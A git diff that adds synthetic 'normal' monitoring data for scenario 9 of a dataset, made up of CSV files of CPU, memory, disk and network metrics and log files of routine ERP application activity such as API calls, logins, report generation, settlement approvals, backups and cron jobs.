backup activities... +Jul 28 10:03:20 erp-app[3456]: PUT /api/v2/approval/request/9954 status=200 OK approver_id=201 +Jul 28 10:03:25 systemd[1]: Starting daily backup activities... +Jul 28 10:03:30 erp-app[3456]: GET /api/v2/settlement/status/2025-07 status=200 OK user_id=102 +Jul 28 10:03:35 erp-app[3456]: POST /api/v2/reports/generate status=201 Created user_id=102 +Jul 28 10:03:40 erp-app[3456]: GET /api/v2/settlement/status/2025-07 status=200 OK user_id=101 +Jul 28 10:04:10 systemd[1]: Starting daily backup activities... +Jul 28 10:04:15 erp-app[3456]: POST /api/v2/reports/generate status=201 Created user_id=101 +Jul 28 10:04:25 erp-app[3456]: PUT /api/v2/approval/request/9138 status=200 OK approver_id=201 +Jul 28 10:04:30 erp-app[3456]: INFO User 'charlie_finance' initiated financial closing for period '2025-07'. +Jul 28 10:04:40 erp-app[3456]: PUT /api/v2/approval/request/9127 status=200 OK approver_id=201 +Jul 28 10:05:10 erp-app[3456]: INFO User 'alice' initiated financial closing for period '2025-07'. +Jul 28 10:05:15 erp-app[3456]: INFO User 'eve_auditor' submitted settlement batch ID 1892 for approval. +Jul 28 10:05:20 erp-app[3456]: INFO User 'eve_auditor' submitted settlement batch ID 1096 for approval. +Jul 28 10:05:30 erp-app[3456]: PUT /api/v2/approval/request/9584 status=200 OK approver_id=401 +Jul 28 10:05:35 erp-app[3456]: GET /api/v2/settlement/status/2025-07 status=200 OK user_id=201 +Jul 28 10:05:40 erp-app[3456]: INFO User 'david_mgr' submitted settlement batch ID 1875 for approval. +Jul 28 10:05:55 erp-app[3456]: INFO User 'bob' initiated financial closing for period '2025-07'. +Jul 28 10:06:00 erp-app[3456]: INFO Generating report 'quarterly_summary' for user 'charlie_finance'. +Jul 28 10:06:05 erp-app[3456]: INFO User 'bob' submitted settlement batch ID 1556 for approval. +Jul 28 10:06:10 erp-app[3456]: POST /api/v2/reports/generate status=201 Created user_id=301 +Jul 28 10:06:20 erp-app[3456]: POST /api/v2/reports/generate status=201 Created user_id=101 +Jul 28 10:06:25 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 28 10:06:30 erp-app[3456]: INFO Generating report 'income_statement' for user 'alice'. +Jul 28 10:06:35 erp-app[3456]: INFO Generating report 'income_statement' for user 'charlie_finance'. +Jul 28 10:06:55 erp-app[3456]: GET /api/v2/settlement/status/2025-07 status=200 OK user_id=102 +Jul 28 10:07:00 erp-app[3456]: POST /api/v2/reports/generate status=201 Created user_id=101 +Jul 28 10:07:05 erp-app[3456]: POST /api/v2/reports/generate status=201 Created user_id=201 +Jul 28 10:07:10 erp-app[3456]: INFO Generating report 'income_statement' for user 'charlie_finance'. +Jul 28 10:07:20 erp-app[3456]: INFO Generating report 'income_statement' for user 'eve_auditor'. +Jul 28 10:07:25 erp-app[3456]: INFO Approval workflow 551 completed successfully. diff --git a/norm_dataset/scenario_9/norm_9_14.csv b/norm_dataset/scenario_9/norm_9_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..4931d96846aedc1ca47a095c10fe459f0c730ca9 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,15.33,41.76,27.64,0.6,1.25 +2025-07-15T10:00:05Z,15.73,38.89,30.56,1.15,0.82 +2025-07-15T10:00:10Z,15.52,37.03,18.66,0.69,0.79 +2025-07-15T10:00:15Z,14.54,38.07,37.11,0.84,0.72 +2025-07-15T10:00:20Z,19.48,38.06,34.1,0.67,0.7 +2025-07-15T10:00:25Z,14.8,41.61,18.24,0.76,1.18 +2025-07-15T10:00:30Z,13.32,38.63,30.19,0.97,0.78 +2025-07-15T10:00:35Z,16.89,39.81,28.64,0.97,1.11 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+2025-07-15T10:07:20Z,9.63,35.0,16.79,1.18,0.91 +2025-07-15T10:07:25Z,13.63,38.39,30.97,0.92,0.65 diff --git a/norm_dataset/scenario_9/norm_9_14.log b/norm_dataset/scenario_9/norm_9_14.log new file mode 100644 index 0000000000000000000000000000000000000000..b9b3ed3e354fe7fa16f52818bac55aa9d8288055 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_14.log @@ -0,0 +1,59 @@ +Jul 15 10:00:00 kubelet[2345]: INFO Liveness probe succeeded for pod erp-app-pod +Jul 15 10:00:10 erp-app[1556]: GET /api/v1/invoices/240 status=200 OK +Jul 15 10:00:15 erp-app[1556]: GET /api/v1/invoices/625 status=200 OK +Jul 15 10:00:20 erp-app[1556]: INFO Data export initiated by user 'test.user'. +Jul 15 10:00:35 kubelet[2345]: INFO Liveness probe succeeded for pod erp-app-pod +Jul 15 10:00:40 erp-app[1556]: INFO Data export initiated by user 'jane.smith'. +Jul 15 10:00:45 erp-app[1556]: INFO Data export initiated by user 'jane.smith'. +Jul 15 10:00:50 kubelet[2345]: INFO Liveness probe succeeded for pod erp-app-pod +Jul 15 10:00:55 systemd[1]: Starting daily backup activities... +Jul 15 10:01:00 erp-app[1556]: INFO Data export initiated by user 'test.user'. +Jul 15 10:01:10 erp-app[1556]: GET /api/v1/customers/dashboard status=200 OK +Jul 15 10:01:15 erp-app[1556]: INFO User 'john.doe' logged in successfully. +Jul 15 10:01:20 erp-app[1556]: INFO Data export initiated by user 'data.entry'. +Jul 15 10:01:25 erp-app[1556]: INFO Data export initiated by user 'john.doe'. +Jul 15 10:01:30 erp-app[1556]: INFO Data export initiated by user 'john.doe'. +Jul 15 10:01:45 systemd[1]: Starting daily backup activities... +Jul 15 10:02:00 erp-app[1556]: INFO Data export initiated by user 'data.entry'. +Jul 15 10:02:05 erp-app[1556]: POST /api/v1/orders status=201 Created +Jul 15 10:02:15 systemd[1]: Starting daily backup activities... +Jul 15 10:02:25 erp-app[1556]: GET /api/v1/invoices/940 status=200 OK +Jul 15 10:02:30 erp-app[1556]: INFO Data export initiated by user 'jane.smith'. +Jul 15 10:02:35 systemd[1]: Starting daily backup activities... +Jul 15 10:02:40 systemd[1]: Starting daily backup activities... +Jul 15 10:02:45 erp-app[1556]: INFO User 'test.user' logged in successfully. +Jul 15 10:02:50 erp-app[1556]: INFO User 'test.user' logged in successfully. +Jul 15 10:03:10 erp-app[1556]: INFO User 'john.doe' logged in successfully. +Jul 15 10:03:15 systemd[1]: Starting daily backup activities... +Jul 15 10:03:20 erp-app[1556]: POST /api/v1/orders status=201 Created +Jul 15 10:03:25 erp-app[1556]: POST /api/v1/orders status=201 Created +Jul 15 10:03:30 erp-app[1556]: GET /api/v1/customers/dashboard status=200 OK +Jul 15 10:03:35 erp-app[1556]: GET /api/v1/customers/dashboard status=200 OK +Jul 15 10:03:50 erp-app[1556]: GET /api/v1/invoices/449 status=200 OK +Jul 15 10:03:55 kubelet[2345]: INFO Liveness probe succeeded for pod erp-app-pod +Jul 15 10:04:00 systemd[1]: Starting daily backup activities... +Jul 15 10:04:05 erp-app[1556]: GET /api/v1/invoices/194 status=200 OK +Jul 15 10:04:10 systemd[1]: Starting daily backup activities... +Jul 15 10:04:15 erp-app[1556]: GET /api/v1/customers/dashboard status=200 OK +Jul 15 10:04:20 erp-app[1556]: GET /api/v1/customers/dashboard status=200 OK +Jul 15 10:04:25 erp-app[1556]: INFO Data export initiated by user 'data.entry'. +Jul 15 10:04:35 systemd[1]: Starting daily backup activities... +Jul 15 10:04:45 kubelet[2345]: INFO Liveness probe succeeded for pod erp-app-pod +Jul 15 10:04:50 erp-app[1556]: GET /api/v1/invoices/129 status=200 OK +Jul 15 10:04:55 erp-app[1556]: GET /api/v1/customers/dashboard status=200 OK +Jul 15 10:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod erp-app-pod +Jul 15 10:05:05 kubelet[2345]: INFO Liveness probe succeeded for pod erp-app-pod +Jul 15 10:05:10 erp-app[1556]: POST /api/v1/orders status=201 Created +Jul 15 10:05:25 erp-app[1556]: INFO Data export initiated by user 'test.user'. +Jul 15 10:05:30 erp-app[1556]: GET /api/v1/customers/dashboard status=200 OK +Jul 15 10:05:40 systemd[1]: Starting daily backup activities... +Jul 15 10:05:45 kubelet[2345]: INFO Liveness probe succeeded for pod erp-app-pod +Jul 15 10:06:05 kubelet[2345]: INFO Liveness probe succeeded for pod erp-app-pod +Jul 15 10:06:10 erp-app[1556]: INFO Data export initiated by user 'test.user'. +Jul 15 10:06:15 erp-app[1556]: GET /api/v1/invoices/620 status=200 OK +Jul 15 10:06:25 systemd[1]: Starting daily backup activities... +Jul 15 10:06:35 erp-app[1556]: POST /api/v1/orders status=201 Created +Jul 15 10:06:45 erp-app[1556]: INFO Data export initiated by user 'jane.smith'. +Jul 15 10:07:05 erp-app[1556]: GET /api/v1/invoices/731 status=200 OK +Jul 15 10:07:15 erp-app[1556]: GET /api/v1/invoices/145 status=200 OK +Jul 15 10:07:25 erp-app[1556]: POST /api/v1/orders status=201 Created diff --git a/norm_dataset/scenario_9/norm_9_15.csv b/norm_dataset/scenario_9/norm_9_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..82257e45474c1f07a9f0053358b0757654a45696 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-28T09:00:00Z,31.1,36.36,47.29,1.77,0.88 +2025-07-28T09:00:05Z,22.08,50.67,60.87,1.34,1.41 +2025-07-28T09:00:10Z,14.27,42.65,37.73,1.7,1.83 +2025-07-28T09:00:15Z,27.95,53.88,23.83,1.24,1.25 +2025-07-28T09:00:20Z,26.64,53.28,36.04,1.48,1.05 +2025-07-28T09:00:25Z,18.94,51.3,28.16,1.94,0.67 +2025-07-28T09:00:30Z,27.34,46.18,51.18,1.22,1.01 +2025-07-28T09:00:35Z,33.28,52.04,47.59,1.31,0.94 +2025-07-28T09:00:40Z,25.4,45.55,47.39,1.14,0.88 +2025-07-28T09:00:45Z,18.8,49.14,55.77,1.16,0.1 +2025-07-28T09:00:50Z,23.26,50.66,36.94,1.94,1.45 +2025-07-28T09:00:55Z,23.87,46.63,37.51,1.47,0.57 +2025-07-28T09:01:00Z,23.03,49.84,24.2,1.73,1.11 +2025-07-28T09:01:05Z,23.83,33.03,42.58,0.8,0.86 +2025-07-28T09:01:10Z,34.44,62.24,39.38,1.3,0.36 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b/norm_dataset/scenario_9/norm_9_15.log @@ -0,0 +1,174 @@ +Jul 28 09:00:00 erp-app[1355]: INFO User 'alice' generated a draft financial report. +Jul 28 09:00:00 erp-app[2300]: INFO GET /api/v1/invoices/list status=200 OK +Jul 28 09:00:00 erp-app[9347]: INFO GET /api/v1/ledgers/48 status=200 OK +Jul 28 09:00:05 erp-app[1099]: INFO GET /api/v1/ledgers/37 status=200 OK +Jul 28 09:00:05 erp-app[4086]: INFO User 'fiona' accessed the dashboard. +Jul 28 09:00:05 erp-app[9638]: INFO GET /api/v1/ledgers/14 status=200 OK +Jul 28 09:00:10 erp-app[1507]: WARN Inventory for product PROD-9385 is running low. +Jul 28 09:00:15 erp-app[5121]: WARN Inventory for product PROD-7838 is running low. +Jul 28 09:00:15 erp-app[5719]: INFO User 'fiona' accessed the dashboard. +Jul 28 09:00:15 systemd[1]: INFO Starting daily backup activities... +Jul 28 09:00:20 cron[7160]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 28 09:00:20 database-connector[6931]: INFO Connection established to primary DB. +Jul 28 09:00:25 erp-app[2904]: INFO POST /api/v1/products/add status=201 Created +Jul 28 09:00:25 erp-app[6355]: INFO POST /api/v1/products/add status=201 Created +Jul 28 09:00:25 erp-app[9413]: INFO User 'edward' generated a draft financial report. +Jul 28 09:00:30 database-connector[8104]: INFO Connection established to primary DB. +Jul 28 09:00:30 erp-app[3089]: INFO User 'diana' accessed the dashboard. +Jul 28 09:00:30 erp-app[4844]: INFO User 'charlie' updated customer record 936. +Jul 28 09:00:35 erp-app[3724]: DEBUG Running scheduled task: CleanUpTempFiles. +Jul 28 09:00:35 erp-app[5582]: DEBUG Running scheduled task: CleanUpTempFiles. +Jul 28 09:00:40 cron[6395]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 28 09:00:40 erp-app[4291]: INFO GET /api/v1/invoices/list status=200 OK +Jul 28 09:00:40 systemd[1]: INFO Starting daily backup activities... +Jul 28 09:00:45 database-connector[2222]: INFO Connection established to primary DB. +Jul 28 09:00:45 erp-app[7372]: INFO Expense claim 10488 submitted for approval by 'bob'. +Jul 28 09:00:50 erp-app[9413]: INFO GET /api/v1/invoices/list status=200 OK +Jul 28 09:00:55 database-connector[5254]: INFO Connection established to primary DB. +Jul 28 09:00:55 erp-app[7808]: INFO POST /api/v1/products/add status=201 Created +Jul 28 09:01:00 erp-app[9672]: DEBUG Running scheduled task: CleanUpTempFiles. +Jul 28 09:01:05 erp-app[7264]: INFO GET /api/v1/ledgers/12 status=200 OK +Jul 28 09:01:10 erp-app[3505]: INFO GET /api/v1/ledgers/48 status=200 OK +Jul 28 09:01:10 erp-app[7047]: INFO User 'edward' accessed the dashboard. +Jul 28 09:01:15 cron[7657]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 28 09:01:15 erp-app[4150]: INFO User 'bob' accessed the dashboard. +Jul 28 09:01:20 erp-app[8605]: INFO User 'charlie' updated customer record 571. +Jul 28 09:01:20 systemd[1]: INFO Starting daily backup activities... +Jul 28 09:01:20 systemd[1]: INFO Starting daily backup activities... +Jul 28 09:01:25 database-connector[4136]: INFO Connection established to primary DB. +Jul 28 09:01:30 erp-app[1299]: INFO User 'charlie' accessed the dashboard. +Jul 28 09:01:35 erp-app[8727]: INFO User 'alice' accessed the dashboard. +Jul 28 09:01:40 erp-app[1617]: DEBUG Running scheduled task: CleanUpTempFiles. +Jul 28 09:01:45 cron[5390]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 28 09:01:45 erp-app[7523]: INFO User 'fiona' updated customer record 289. +Jul 28 09:01:45 erp-app[8682]: DEBUG Running scheduled task: CleanUpTempFiles. +Jul 28 09:01:50 erp-app[4774]: DEBUG Running scheduled task: CleanUpTempFiles. +Jul 28 09:01:50 erp-app[5487]: INFO User 'edward' updated customer record 233. +Jul 28 09:01:55 database-connector[4882]: INFO Connection established to primary DB. +Jul 28 09:01:55 erp-app[2960]: INFO GET /api/v1/invoices/list status=200 OK +Jul 28 09:01:55 erp-app[4107]: INFO GET /api/v1/invoices/list status=200 OK +Jul 28 09:02:00 erp-app[7602]: INFO User 'bob' generated a draft financial report. +Jul 28 09:02:05 database-connector[9885]: INFO Connection established to primary DB. +Jul 28 09:02:05 erp-app[2400]: WARN Inventory for product PROD-4114 is running low. +Jul 28 09:02:05 systemd[1]: INFO Starting daily backup activities... +Jul 28 09:02:10 erp-app[3398]: DEBUG Running scheduled task: CleanUpTempFiles. +Jul 28 09:02:15 cron[3884]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 28 09:02:15 erp-app[4018]: INFO User 'alice' generated a draft financial report. +Jul 28 09:02:20 erp-app[5066]: INFO User 'alice' generated a draft financial report. +Jul 28 09:02:25 erp-app[2308]: INFO GET /api/v1/invoices/list status=200 OK +Jul 28 09:02:30 systemd[1]: INFO Starting daily backup activities... +Jul 28 09:02:35 database-connector[1709]: INFO Connection established to primary DB. +Jul 28 09:02:35 erp-app[7193]: INFO User 'fiona' accessed the dashboard. +Jul 28 09:02:35 systemd[1]: INFO Starting daily backup activities... +Jul 28 09:02:40 database-connector[5649]: INFO Connection established to primary DB. +Jul 28 09:02:40 erp-app[5912]: WARN Inventory for product PROD-2467 is running low. +Jul 28 09:02:40 erp-app[9990]: INFO GET /api/v1/invoices/list status=200 OK +Jul 28 09:02:45 erp-app[1064]: INFO User 'bob' updated customer record 923. +Jul 28 09:02:45 erp-app[7155]: INFO GET /api/v1/invoices/list status=200 OK +Jul 28 09:02:50 erp-app[5459]: INFO GET /api/v1/invoices/list status=200 OK +Jul 28 09:02:50 erp-app[5648]: INFO POST /api/v1/products/add status=201 Created +Jul 28 09:02:50 erp-app[7398]: INFO GET /api/v1/invoices/list status=200 OK +Jul 28 09:02:55 database-connector[1437]: INFO Connection established to primary DB. +Jul 28 09:02:55 database-connector[5249]: INFO Connection established to primary DB. +Jul 28 09:03:00 erp-app[2807]: INFO Expense claim 11577 submitted for approval by 'diana'. +Jul 28 09:03:00 erp-app[6918]: INFO POST /api/v1/products/add status=201 Created +Jul 28 09:03:00 erp-app[7802]: INFO User 'alice' updated customer record 291. +Jul 28 09:03:05 cron[5984]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 28 09:03:05 erp-app[2983]: INFO GET /api/v1/invoices/list status=200 OK +Jul 28 09:03:05 erp-app[8839]: DEBUG Running scheduled task: CleanUpTempFiles. +Jul 28 09:03:10 erp-app[1891]: INFO GET /api/v1/invoices/list status=200 OK +Jul 28 09:03:10 erp-app[7834]: WARN Inventory for product PROD-5604 is running low. +Jul 28 09:03:15 erp-app[4265]: INFO User 'fiona' updated customer record 272. +Jul 28 09:03:15 erp-app[5509]: INFO User 'diana' accessed the dashboard. +Jul 28 09:03:15 erp-app[6833]: DEBUG Running scheduled task: CleanUpTempFiles. +Jul 28 09:03:20 erp-app[2978]: DEBUG Running scheduled task: CleanUpTempFiles. +Jul 28 09:03:20 erp-app[3289]: INFO User 'bob' updated customer record 701. +Jul 28 09:03:25 database-connector[9397]: INFO Connection established to primary DB. +Jul 28 09:03:25 erp-app[4596]: INFO POST /api/v1/products/add status=201 Created +Jul 28 09:03:30 erp-app[8821]: WARN Inventory for product PROD-4115 is running low. +Jul 28 09:03:30 systemd[1]: INFO Starting daily backup activities... +Jul 28 09:03:35 erp-app[9240]: INFO User 'edward' accessed the dashboard. +Jul 28 09:03:40 erp-app[5712]: INFO POST /api/v1/products/add status=201 Created +Jul 28 09:03:45 systemd[1]: INFO Starting daily backup activities... +Jul 28 09:03:50 erp-app[1711]: WARN Inventory for product PROD-6799 is running low. +Jul 28 09:03:50 systemd[1]: INFO Starting daily backup activities... +Jul 28 09:03:50 systemd[1]: INFO Starting daily backup activities... +Jul 28 09:03:55 erp-app[1665]: INFO User 'bob' accessed the dashboard. +Jul 28 09:04:00 cron[4393]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 28 09:04:00 database-connector[2898]: INFO Connection established to primary DB. +Jul 28 09:04:05 database-connector[6226]: INFO Connection established to primary DB. +Jul 28 09:04:05 systemd[1]: INFO Starting daily backup activities... +Jul 28 09:04:10 database-connector[4875]: INFO Connection established to primary DB. +Jul 28 09:04:10 erp-app[2486]: INFO GET /api/v1/ledgers/21 status=200 OK +Jul 28 09:04:10 erp-app[8322]: INFO GET /api/v1/ledgers/29 status=200 OK +Jul 28 09:04:15 erp-app[2563]: INFO GET /api/v1/invoices/list status=200 OK +Jul 28 09:04:15 systemd[1]: INFO Starting daily backup activities... +Jul 28 09:04:20 database-connector[2476]: INFO Connection established to primary DB. +Jul 28 09:04:20 erp-app[1913]: INFO GET /api/v1/ledgers/31 status=200 OK +Jul 28 09:04:25 cron[5095]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 28 09:04:25 erp-app[1493]: INFO GET /api/v1/invoices/list status=200 OK +Jul 28 09:04:30 database-connector[7415]: INFO Connection established to primary DB. +Jul 28 09:04:30 erp-app[6243]: INFO GET /api/v1/ledgers/12 status=200 OK +Jul 28 09:04:35 erp-app[6459]: INFO Expense claim 11397 submitted for approval by 'edward'. +Jul 28 09:04:35 erp-app[8510]: INFO User 'fiona' updated customer record 817. +Jul 28 09:04:40 erp-app[3517]: INFO User 'edward' generated a draft financial report. +Jul 28 09:04:40 erp-app[3652]: DEBUG Running scheduled task: CleanUpTempFiles. +Jul 28 09:04:40 erp-app[9266]: INFO User 'alice' accessed the dashboard. +Jul 28 09:04:45 database-connector[9678]: INFO Connection established to primary DB. +Jul 28 09:04:50 erp-app[4547]: INFO User 'diana' updated customer record 306. +Jul 28 09:04:50 erp-app[6651]: INFO User 'diana' accessed the dashboard. +Jul 28 09:04:50 systemd[1]: INFO Starting daily backup activities... +Jul 28 09:04:55 erp-app[3504]: WARN Inventory for product PROD-8888 is running low. +Jul 28 09:04:55 systemd[1]: INFO Starting daily backup activities... +Jul 28 09:05:00 erp-app[1690]: INFO User 'diana' updated customer record 355. +Jul 28 09:05:00 erp-app[9142]: INFO GET /api/v1/invoices/list status=200 OK +Jul 28 09:05:00 erp-app[9610]: WARN Inventory for product PROD-7492 is running low. +Jul 28 09:05:05 erp-app[5547]: WARN Inventory for product PROD-1405 is running low. +Jul 28 09:05:05 erp-app[9364]: INFO User 'diana' generated a draft financial report. +Jul 28 09:05:05 erp-app[9529]: WARN Inventory for product PROD-5328 is running low. +Jul 28 09:05:10 erp-app[8904]: INFO User 'charlie' updated customer record 484. +Jul 28 09:05:15 erp-app[3948]: INFO User 'edward' accessed the dashboard. +Jul 28 09:05:15 erp-app[6263]: INFO User 'edward' updated customer record 421. +Jul 28 09:05:15 erp-app[7418]: WARN Inventory for product PROD-1045 is running low. +Jul 28 09:05:20 erp-app[7529]: DEBUG Running scheduled task: CleanUpTempFiles. +Jul 28 09:05:25 systemd[1]: INFO Starting daily backup activities... +Jul 28 09:05:30 erp-app[1976]: INFO Expense claim 16242 submitted for approval by 'edward'. +Jul 28 09:05:30 erp-app[3781]: WARN Inventory for product PROD-2673 is running low. +Jul 28 09:05:35 erp-app[3100]: INFO User 'bob' updated customer record 947. +Jul 28 09:05:35 erp-app[6480]: INFO GET /api/v1/ledgers/15 status=200 OK +Jul 28 09:05:35 erp-app[6748]: INFO User 'diana' updated customer record 509. +Jul 28 09:05:40 cron[4175]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 28 09:05:45 cron[2488]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 28 09:05:45 systemd[1]: INFO Starting daily backup activities... +Jul 28 09:05:50 cron[4475]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 28 09:05:55 erp-app[8538]: INFO User 'alice' generated a draft financial report. +Jul 28 09:06:00 cron[5098]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 28 09:06:00 erp-app[3524]: INFO User 'charlie' generated a draft financial report. +Jul 28 09:06:05 erp-app[1572]: INFO GET /api/v1/ledgers/8 status=200 OK +Jul 28 09:06:05 erp-app[4295]: INFO Expense claim 13886 submitted for approval by 'alice'. +Jul 28 09:06:05 erp-app[7177]: WARN Inventory for product PROD-9094 is running low. +Jul 28 09:06:10 systemd[1]: INFO Starting daily backup activities... +Jul 28 09:06:15 database-connector[1753]: INFO Connection established to primary DB. +Jul 28 09:06:15 erp-app[2679]: INFO POST /api/v1/products/add status=201 Created +Jul 28 09:06:20 erp-app[5404]: INFO User 'edward' accessed the dashboard. +Jul 28 09:06:25 erp-app[2990]: INFO GET /api/v1/ledgers/14 status=200 OK +Jul 28 09:06:25 erp-app[7212]: INFO User 'edward' accessed the dashboard. +Jul 28 09:06:30 erp-app[6016]: INFO User 'bob' generated a draft financial report. +Jul 28 09:06:35 database-connector[8280]: INFO Connection established to primary DB. +Jul 28 09:06:40 database-connector[7655]: INFO Connection established to primary DB. +Jul 28 09:06:45 erp-app[7219]: WARN Inventory for product PROD-7595 is running low. +Jul 28 09:06:50 database-connector[4101]: INFO Connection established to primary DB. +Jul 28 09:06:55 erp-app[1680]: INFO GET /api/v1/invoices/list status=200 OK +Jul 28 09:06:55 erp-app[5364]: INFO GET /api/v1/ledgers/47 status=200 OK +Jul 28 09:06:55 erp-app[9167]: INFO User 'charlie' accessed the dashboard. +Jul 28 09:07:00 cron[5560]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 28 09:07:00 erp-app[5648]: INFO User 'charlie' updated customer record 539. +Jul 28 09:07:05 cron[4691]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 28 09:07:05 erp-app[1062]: DEBUG Running scheduled task: CleanUpTempFiles. +Jul 28 09:07:05 erp-app[1884]: INFO User 'alice' generated a draft financial report. +Jul 28 09:07:10 erp-app[4633]: INFO POST /api/v1/products/add status=201 Created +Jul 28 09:07:10 erp-app[7731]: WARN Inventory for product PROD-4784 is running low. +Jul 28 09:07:15 erp-app[4385]: DEBUG Running scheduled task: CleanUpTempFiles. +Jul 28 09:07:15 erp-app[8961]: INFO Expense claim 14913 submitted for approval by 'diana'. +Jul 28 09:07:20 erp-app[1762]: INFO User 'charlie' generated a draft financial report. +Jul 28 09:07:25 erp-app[8607]: INFO User 'fiona' updated customer record 609. diff --git a/norm_dataset/scenario_9/norm_9_16.csv b/norm_dataset/scenario_9/norm_9_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..00b05d0a2f9db5ef68bcc8e493ed0b303b24a178 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,22.3,56.37,24.44,1.25,0.94 +2025-07-15T10:00:05Z,19.02,48.66,20.87,1.98,0.93 +2025-07-15T10:00:10Z,20.28,37.18,25.63,1.54,1.34 +2025-07-15T10:00:15Z,22.36,46.62,38.07,1.72,0.57 +2025-07-15T10:00:20Z,22.69,43.68,41.44,1.87,1.32 +2025-07-15T10:00:25Z,19.97,39.29,33.27,1.49,0.93 +2025-07-15T10:00:30Z,16.67,44.33,27.07,1.28,1.3 +2025-07-15T10:00:35Z,22.64,39.57,38.73,0.9,0.85 +2025-07-15T10:00:40Z,18.9,45.54,34.89,0.9,0.82 +2025-07-15T10:00:45Z,20.05,42.26,36.68,0.87,1.17 +2025-07-15T10:00:50Z,20.73,55.98,21.13,0.9,0.69 +2025-07-15T10:00:55Z,12.84,45.56,36.17,0.5,0.52 +2025-07-15T10:01:00Z,21.05,44.79,30.9,1.46,0.62 +2025-07-15T10:01:05Z,18.67,44.29,31.11,1.12,1.43 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+2025-07-15T10:06:10Z,17.45,52.57,25.5,1.71,0.88 +2025-07-15T10:06:15Z,21.75,43.0,22.2,1.2,0.89 +2025-07-15T10:06:20Z,18.53,40.97,41.35,1.46,0.67 +2025-07-15T10:06:25Z,24.38,41.29,34.63,1.77,0.93 +2025-07-15T10:06:30Z,23.91,41.75,36.91,1.82,1.38 +2025-07-15T10:06:35Z,26.55,53.02,31.19,1.35,1.38 +2025-07-15T10:06:40Z,17.03,47.1,25.7,0.99,1.09 +2025-07-15T10:06:45Z,20.31,40.46,22.66,1.07,0.83 +2025-07-15T10:06:50Z,21.61,49.42,31.83,1.49,0.5 +2025-07-15T10:06:55Z,17.37,36.59,40.78,1.34,0.92 +2025-07-15T10:07:00Z,24.38,54.5,32.74,1.01,0.73 +2025-07-15T10:07:05Z,19.02,50.04,18.33,0.92,0.5 +2025-07-15T10:07:10Z,19.91,45.58,35.5,0.89,1.55 +2025-07-15T10:07:15Z,22.55,47.31,33.61,1.26,1.24 +2025-07-15T10:07:20Z,17.0,43.82,23.64,0.5,0.5 +2025-07-15T10:07:25Z,23.62,43.56,48.52,1.31,1.04 diff --git a/norm_dataset/scenario_9/norm_9_16.log b/norm_dataset/scenario_9/norm_9_16.log new file mode 100644 index 0000000000000000000000000000000000000000..3d1af8e291ccbed0542cc128ed28ffd32c3987cc --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_16.log @@ -0,0 +1,180 @@ +Jul 15 10:00:00 erp-app[7855]: INFO API call GET /api/v1/reports status=200 +Jul 15 10:00:01 systemd[1]: INFO Starting daily backup process... +Jul 15 10:00:03 erp-app[9246]: INFO User 451 accessed the main dashboard. +Jul 15 10:00:05 erp-app[2449]: INFO API call POST /api/v1/invoices status=201 +Jul 15 10:00:06 erp-app[6388]: INFO User 429 logged in successfully. +Jul 15 10:00:08 erp-app[2084]: INFO User 187 logged in successfully. +Jul 15 10:00:09 erp-app[7716]: INFO API call GET /api/v1/reports status=200 +Jul 15 10:00:11 erp-app[2516]: INFO User 297 logged in successfully. +Jul 15 10:00:14 erp-app[4042]: INFO User 269 generated a weekly sales '报表'. +Jul 15 10:00:17 erp-app[1903]: WARN Slow query detected on 'transactions' table. +Jul 15 10:00:18 erp-app[9377]: INFO User 179 started a '结算' process for client ID 7128. +Jul 15 10:00:20 erp-app[5371]: WARN Slow query detected on 'transactions' table. +Jul 15 10:00:22 erp-app[7632]: INFO User 429 generated a weekly sales '报表'. +Jul 15 10:00:23 erp-app[3927]: INFO User 253 generated a weekly sales '报表'. +Jul 15 10:00:27 erp-app[5112]: INFO User 283 generated a weekly sales '报表'. +Jul 15 10:00:31 erp-app[5834]: INFO API call GET /api/v1/reports status=200 +Jul 15 10:00:34 erp-app[4850]: INFO API call POST /api/v1/invoices status=201 +Jul 15 10:00:35 systemd[1]: INFO Starting daily backup process... +Jul 15 10:00:37 erp-app[7039]: WARN Slow query detected on 'transactions' table. +Jul 15 10:00:40 erp-app[9434]: INFO User 389 submitted a purchase order for '审批'. +Jul 15 10:00:42 erp-app[9024]: WARN Slow query detected on 'transactions' table. +Jul 15 10:00:44 erp-app[8186]: INFO User 369 started a '结算' process for client ID 7110. +Jul 15 10:00:46 erp-app[9741]: WARN Slow query detected on 'transactions' table. +Jul 15 10:00:48 erp-app[8657]: INFO User 489 started a '结算' process for client ID 7676. +Jul 15 10:00:50 erp-app[9504]: WARN Slow query detected on 'transactions' table. +Jul 15 10:00:53 erp-app[8321]: WARN Slow query detected on 'transactions' table. +Jul 15 10:00:56 systemd[1]: INFO Starting daily backup process... +Jul 15 10:00:58 cron[4032]: INFO (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:01:01 erp-app[5917]: INFO User 108 submitted a purchase order for '审批'. +Jul 15 10:01:04 erp-app[1973]: WARN Slow query detected on 'transactions' table. +Jul 15 10:01:05 erp-app[2137]: INFO API call GET /api/v1/reports status=200 +Jul 15 10:01:08 